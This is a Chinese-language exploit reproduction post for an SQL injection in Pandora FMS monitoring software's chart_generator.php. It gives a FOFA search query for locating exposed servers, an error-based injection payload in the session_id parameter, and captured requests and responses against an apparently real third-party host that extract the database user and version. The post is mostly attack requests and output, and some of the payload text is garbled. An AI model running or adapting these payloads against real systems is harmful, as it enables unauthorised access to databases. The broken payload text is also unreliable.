

P6-2PandoraFMS-监控软件-SQL

漏洞描述:

Pandora FMS监控软件存在SQL注入漏洞, 攻击者通过chart_generator.php 来执行恶意语句, 获取数据库敏感信息。

网站图片:



网络测绘:

fofa语法:

FOFA: app="PANDORAFMS-产品"

漏洞复现:

payload:

```
GET /pandora_console/include/chart_generator.php?session_id=1'%20OR%20(SELECT%206562%20FROM(SELECT%20COUNT(*),CONCAT(0x7176767171,(SELECT%20MID((IFNULL(CAST(CURRENT_USERAS VARCHAR(1000)),''))))%205))%20--%20
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
```

效果图:

查询当前用户

Request

<>数据包扫描热加载构造请求

1GET /pandora_console/include/chart_generator.php?session_id=1'%20R%20(SELECT%206562%20FROM (SELECT%20COUNT(*), CONCAT(0x7176767171, (SELECT%20MID((IFNULL(CAST(CURRENT_USER())%20AS%20NCHAR), 0x20)), 1, 54)), 0x71627a6a71, FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a) --%20WIkG HTTP/1.1

2Host: watch.ticoop.fr

3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4Accept-Encoding: gzip

5Connection: close

6

7

Responseshttps1565bytes / 384ms

1HTTP/1.1 200 OK

2Server: nginx

3Date: Fri, 08 Dec 2023 19:39:59 GMT

4Content-Type: text/html; charset=utf-8

5Connection: close

6X-Powered-By: PHP/7.2.15

7Set-Cookie: PHPSESSID=tdhjr9frdu9ij

8Expires: Thu, 19 Nov 1981 08:52:00 GMT

9Cache-Control: no-store, no-cache, no-cache=must, max-age=0

10Pragma: no-cache

11Content-Length: 1565

12

13SQL error: Duplicate entry 'group_key' for key 'group_key' (SELECT * FROM tsession (SELECT COUNT(*), CONCAT(0x7176767171, (SELECT COUNT(*), CONCAT(0x7176767171, FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a) -- WIkG LIMIT 1) in on line 117
 />

14<!DOCTYPE html>

15<html>

16<head>

查询数据库版本

Request

<>数据包扫描热加载构造请求

1GET /pandora_console/include/chart_generator.php?session_id=1'%20R%20(SELECT%206562%20FROM (SELECT%20COUNT(*), CONCAT(0x7176767171, (SELECT%20MID((IFNULL(CAST(VERSION())%20AS%20NCHAR), 0x20)), 1, 54)), 0x71627a6a71, FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a) --%20WIkG HTTP/1.1

2Host: watch.ticoop.fr

3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4Accept-Encoding: gzip

5Connection: close

6

7

Responseshttps1549bytes / 461ms

1HTTP/1.1 200 OK

2Server: nginx

3Date: Fri, 08 Dec 2023 19:41:43 GMT

4Content-Type: text/html; charset=utf-8

5Connection: close

6X-Powered-By: PHP/7.2.15

7Set-Cookie: PHPSESSID=a9jevsop14

8Expires: Thu, 19 Nov 1981 08:52:00 GMT

9Cache-Control: no-store, no-cache, no-cache=must, max-age=0

10Pragma: no-cache

11Content-Length: 1549

12

13SQL error: Duplicate entry 'group_key' for key 'group_key' (SELECT * FROM tsessions_php WHERE (SELECT COUNT(*), CONCAT(0x7176767171, (SELECT COUNT(*), CONCAT(0x7176767171, FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a) -- WIkG LIMIT 1) in /var/www/html line 117
 />

14<!DOCTYPE html>

15<html>

16<head>

17<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

18<title>Access denied</title>

19<link rel="stylesheet" href="/css/bootstrap.min.css">

20<link rel="stylesheet" href="/css/bootstrap.min.css">